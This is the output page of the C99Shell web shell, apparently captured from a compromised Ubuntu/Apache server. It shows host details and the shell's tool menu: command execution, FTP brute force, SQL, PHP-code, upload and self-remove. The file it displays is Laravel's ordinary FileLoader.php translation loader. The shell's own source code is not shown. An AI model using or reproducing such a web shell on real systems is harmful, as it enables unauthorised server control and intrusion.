!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/queuepro/vendor/laravel/framework/src/Illuminate/Translation/   drwxrwxr-x
Free 13.25 GB of 57.97 GB (22.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FileLoader.php (4.61 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Translation;

use 
Illuminate\Contracts\Translation\Loader;
use 
Illuminate\Filesystem\Filesystem;
use 
RuntimeException;

class 
FileLoader implements Loader
{
    
/**
     * The filesystem instance.
     *
     * @var \Illuminate\Filesystem\Filesystem
     */
    
protected $files;

    
/**
     * The default path for the loader.
     *
     * @var string
     */
    
protected $path;

    
/**
     * All of the registered paths to JSON translation files.
     *
     * @var array
     */
    
protected $jsonPaths = [];

    
/**
     * All of the namespace hints.
     *
     * @var array
     */
    
protected $hints = [];

    
/**
     * Create a new file loader instance.
     *
     * @param  \Illuminate\Filesystem\Filesystem  $files
     * @param  string  $path
     * @return void
     */
    
public function __construct(Filesystem $files$path)
    {
        
$this->path $path;
        
$this->files $files;
    }

    
/**
     * Load the messages for the given locale.
     *
     * @param  string  $locale
     * @param  string  $group
     * @param  string|null  $namespace
     * @return array
     */
    
public function load($locale$group$namespace null)
    {
        if (
$group === '*' && $namespace === '*') {
            return 
$this->loadJsonPaths($locale);
        }

        if (
is_null($namespace) || $namespace === '*') {
            return 
$this->loadPath($this->path$locale$group);
        }

        return 
$this->loadNamespaced($locale$group$namespace);
    }

    
/**
     * Load a namespaced translation group.
     *
     * @param  string  $locale
     * @param  string  $group
     * @param  string  $namespace
     * @return array
     */
    
protected function loadNamespaced($locale$group$namespace)
    {
        if (isset(
$this->hints[$namespace])) {
            
$lines $this->loadPath($this->hints[$namespace], $locale$group);

            return 
$this->loadNamespaceOverrides($lines$locale$group$namespace);
        }

        return [];
    }

    
/**
     * Load a local namespaced translation group for overrides.
     *
     * @param  array  $lines
     * @param  string  $locale
     * @param  string  $group
     * @param  string  $namespace
     * @return array
     */
    
protected function loadNamespaceOverrides(array $lines$locale$group$namespace)
    {
        
$file "{$this->path}/vendor/{$namespace}/{$locale}/{$group}.php";

        if (
$this->files->exists($file)) {
            return 
array_replace_recursive($lines$this->files->getRequire($file));
        }

        return 
$lines;
    }

    
/**
     * Load a locale from a given path.
     *
     * @param  string  $path
     * @param  string  $locale
     * @param  string  $group
     * @return array
     */
    
protected function loadPath($path$locale$group)
    {
        if (
$this->files->exists($full "{$path}/{$locale}/{$group}.php")) {
            return 
$this->files->getRequire($full);
        }

        return [];
    }

    
/**
     * Load a locale from the given JSON file path.
     *
     * @param  string  $locale
     * @return array
     *
     * @throws \RuntimeException
     */
    
protected function loadJsonPaths($locale)
    {
        return 
collect(array_merge($this->jsonPaths, [$this->path]))
            ->
reduce(function ($output$path) use ($locale) {
                if (
$this->files->exists($full "{$path}/{$locale}.json")) {
                    
$decoded json_decode($this->files->get($full), true);

                    if (
is_null($decoded) || json_last_error() !== JSON_ERROR_NONE) {
                        throw new 
RuntimeException("Translation file [{$full}] contains an invalid JSON structure.");
                    }

                    
$output array_merge($output$decoded);
                }

                return 
$output;
            }, []);
    }

    
/**
     * Add a new namespace to the loader.
     *
     * @param  string  $namespace
     * @param  string  $hint
     * @return void
     */
    
public function addNamespace($namespace$hint)
    {
        
$this->hints[$namespace] = $hint;
    }

    
/**
     * Get an array of all the registered namespaces.
     *
     * @return array
     */
    
public function namespaces()
    {
        return 
$this->hints;
    }

    
/**
     * Add a new JSON path to the loader.
     *
     * @param  string  $path
     * @return void
     */
    
public function addJsonPath($path)
    {
        
$this->jsonPaths[] = $path;
    }

    
/**
     * Get an array of all the registered paths to JSON translation files.
     *
     * @return array
     */
    
public function jsonPaths()
    {
        return 
$this->jsonPaths;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--